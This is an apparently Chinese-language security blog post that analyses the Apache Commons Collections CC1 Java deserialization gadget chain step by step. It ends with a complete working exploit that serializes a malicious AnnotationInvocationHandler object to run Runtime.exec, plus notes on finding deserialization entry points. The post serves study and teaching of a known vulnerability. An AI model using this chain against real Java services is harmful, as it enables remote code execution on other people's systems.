CC1链分析

本文最后更新于:2024年10月14日 下午

Java安全的重要拼图

前置知识

​ Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

​ commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射。

Java机制:反射

参考文章

​ JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

​ 在Java中,Class类与java.lang.reflect类库一起对反射技术进行了全力的支持。在反射包中,我们常用的类主要有Constructor类表示的是Class 对象所表示的类的构造方法,利用它可以在运行时动态创建对象、Field表示Class对象所表示的类的成员变量,通过它可以在运行时动态修改成员变量的属性值(包含private)、Method表示Class对象所表示的类的成员方法,通过它可以动态调用对象的方法(包含private)。

​ 总之简单来说,就是我们可以在Java程序运行时去操作类。调度反射方法,最终是由jvm执行invoke()执行。

参考文章

分析准备

环境配置:

  • CommonsCollections <= 3.2.1
  • java < 8u71

Maven依赖:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

利用链:

1
2
3
4
5
AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

分析

分析应当是自底向上的,从脆弱点开始,经过一步一步封装成为一条完整的利用链。

分析的时候建议在Maven中把依赖的源码下载下来。

脆弱点分析

脆弱点:org.apache.commons.collections.Transformer,transform方法有21种实现

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

脆弱类:InvokerTransformer,我们重点看它的transform方法,发现可以执行传入的对象中的方法,显然这里可以执行任意代码。

下面是InvokerTransformer的一个构造函数:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

首先先尝试直接利用InvokerTransformer来执行命令,我们只需要按照上面的构造函数去生成一个对象,然后调用它的transform方法。要执行系统命令,methodName为exec,参数类型为String,参数为calc。在transform中我们只需要传入Runtime类的实例,使用Runtime.getRuntime()

1
2
3
4
5
6
7
8
9
10
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
public static void main(String[] args) {
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}).transform(Runtime.getRuntime());
}
}

直接运行,执行弹出计算器命令:

构造序列化链

当然在实际的漏洞中,不可能直接就这么触发,一定是经过了多层调用,当恶意payload执行到这里才会造成RCE。我们就这么盲目地去找吗,当然不是,我们这里是反序列化漏洞,所以最顶层的调用一定是某个readObject()方法。

特地提到这个方法是因为在反序列化漏洞中它起到了关键作用,readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法,如果该方法书写不当的话就有可能引发恶意代码的执行。

那么接下来我们继续分析,按住ctrl单击transform函数查看调用它的函数,我们跳转到TransformedMap类的transform函数中

可以发现是一个叫**checkSetValue**的函数,就一行很简单直接调用了transform,我们接着查看对它的调用

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

发现对它的调用只有一处,直接跳转了,在**AbstractInputCheckedMapDecorator**中的setValue函数

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

通过上面的分析,我们可以进一步的构造我们的代码:

要调用setValue这个函数很简单,因为它是一个共有函数,那么下一步是解决如何构造**TransformedMap**的一个实例,然后去作为setValue函数的参数,发现它的构造函数是一个受保护的,所以去找哪里可以调用函数构造它。

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

查看对构造函数的调用,发现它有一个叫decorate的函数可以构造:

1
2
3
4
public static Map decorate(Map map, Transformer keyTransformer, 
Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

那么到这里我们就可以写出当前的利用链了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) {
// 获取一个runtime实例
Runtime shell = Runtime.getRuntime();
// 第一层
InvokerTransformer invokerTransformer = new
InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// 第二层
Map<Object,Object> map=new HashMap<>();
map.put("Hacking","3xsh0re");

// TransformedMap.decorate方法调用TransformedMap的构造方法
Map<Object,Object> transformedMap = TransformedMap.
decorate(map, null, invokerTransformer);
// AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map)
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(shell);
}
}

可以成功弹出计算器:

此时我们右键setValue函数查看调用,发现在AnnotationInvocationHandler类中一处readObject函数对它进行了调用。

注意:如果你的调用中没有出现这个类,你应当下载源码,jdk下载网页,下载后解压其中/src/share/classes/sun到自己jdk的src文件夹中

找到自己的文件夹,解压进去,

然后在IDEA中项目属性里添加源码路径,CTRL+shift+alt+s打开

ok,现在你已经可以找到我们的最后的入口函数了,可以发现readObject正好符合我们的调用方式,用构造的恶意序列化流进入这处readObject就可以完成CC1链了,但是有一个问题,AnnotationInvocationHandler类不是公开的,仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类

这个类的构造方法为,也就是说需要一个注解类和一个Map类,这个注解类的选取是有讲究的,后面再探,先设置为Override注解

1
2
AnnotationInvocationHandler(Class<? extends Annotation> type, 
Map<String, Object> memberValues)

然后我们通过反射调用readObject方法,

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Override.class, transformedMap);

于是乎,我们现在的代码应该写成下面这样:记得抛出异常和写好序列化和反序列化函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception{
// 获取一个runtime实例
Runtime shell = Runtime.getRuntime();
// 第一层
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
// 第二层
Map map=new HashMap();
map.put("Hacking","3xsh0re");

//TransformedMap.decorate方法调用TransformedMap的构造方法
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

// 通过反射获取AnnotationInvocationHandler的实例
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Override.class, transformedMap);
serialize(obj);
unserialize("./exec.bin");

}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./exec.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(
new FileInputStream(filename));
objectInputStream.readObject();
}

链子中的小巧思

可以发现写完这段运行之后并没有弹出计算器,其实一条可用的序列化链的构造是非常精心的,里面有许多弯弯绕绕,并不是应该这么写所以就这么写,每一个环节都有其出现的必要性。这里我们正向调试一番,看看问题到底出现在哪里:

首先在序列化函数中的readObject方法处打上断点,

你可以选择一步一步调试去分析整个反序列化的过程,这里我就不单步调试了,我们直到obj的最后一层是一个AnnotationInvocationHandler的实例,那么我们就直接在它的readObject函数打上断点,直接恢复项目运行,可以发现到了我们的断点处,然后可以单步调试了

发现在下面判断memberType时,memberType==null,直接就跳转到了函数末尾,所以根本就没有执行之后的序列化过程。

ok,这里出问题,那么怎么解决呢,找到memberTypes从哪里来的,在上面几行代码中,

1
2
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这里就和我说的在构造该对象时,注解类的问题了,Override根本就没有成员,所以为null,所以构造的时候注解的选取不是随意的

1
2
3
4
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

所以我们将源代码的map的key改为Target注解中的成员变量value,构造时传入Target类

1
2
3
4
5
// 第二层
Map map=new HashMap();
map.put("value","3xsh0re");
//...
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);

重新调试到此处,发现已经成功绕过第一层if了

此时我们运行整个代码发现报错了,这是为什么呢,其实是因为Runtime类没有继承serialize接口,所以runtime对象不能被序列化,自然也不能被反序列化。这里解决方法,非常巧妙,虽然Runtime对象不可以被序列化,但是Class对象可以被序列化。那么结合InvokerTransformer和反射可以写出下面的代码:

其实非常好理解,比如第一个,就是执行getDeclaredMethod找到getRuntime函数。

实现逻辑,构造对象的参数是getDeclaredMethodgetRuntime的对象,执行它的transform方法,在这个方法中,Runtime.class的作用是通过getMethod找到它的getDeclaredMethod函数,然后将getRuntime作为参数。

这整个语句的返回值就是getRuntime函数,即getDeclaredMethod的返回值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null})
.transform(Runtime.class);

//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null})
.transform(getRunmethod);
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}).transform(cmd);

好了,解决了不能反序列化的问题,但是这样构造破坏了我们的序列化链,之前只有一个InvokerTransformer对象,现在变成了3个,那么如何解决这个问题?

这时需要一个新的函数,聚焦到org.apache.commons.collections.functors包下面的ChainedTransformer类。

这个类存在transform方法可以帮我们遍历InvokerTransformer,并且循环调用遍历的InvokerTransformer的transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以只需要把上面的代码构造成一个Transformer数组即可,

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);

到这里,Runtime类不能反序列化的问题就解决了。

但是,有一个致命问题,在这样使用ChainTransformer时,我们的Runtime.class也就是参数该如何传入?

会不会有一个Transformer的transform函数就是返回参数本身呢,答案是有的😋

刚刚好到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题了。
ok,到此为止,我们可以编写完整的payload了。

完整Exp

完整项目可以直接从我的测试代码仓库拉取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static void main(String[] args) throws Exception{
// 第一层
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 第二层
Map<Object, Object> map = new HashMap<>();
map.put("value", "3xsh0re");

//TransformedMap.decorate方法调用TransformedMap的构造方法
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);

// 通过反射获取AnnotationInvocationHandler的实例
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("./exec.bin");
}
  1. 漏洞触发场景

    在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:

    • HTTP请求中的参数,cookies以及Parameters。

    • RMI协议,被广泛使用的RMI协议完全基于序列化

    • JMX 同样用于处理序列化对象

    • 自定义协议 用来接收与发送原始的java对象

  2. 漏洞挖掘

    • 确定反序列化输入点

    • 首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:

      源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。

      对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等

      注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。

    • 再考察应用的Class Path中是否包含Apache Commons Collections库

    • 生成反序列化的payload

    • 提交我们的payload数据

修复

  • 禁止JVM执行外部命令
  • TransformedMap 类去掉了 Map.Entry 的 setValue 方法

CC链分析完整测试代码,可直接拉取


CC1链分析
https://3xsh0re.github.io/2024/07/08/CC1链-TransformedMap分析/
作者
3xsh0re
发布于
2024年7月8日
许可协议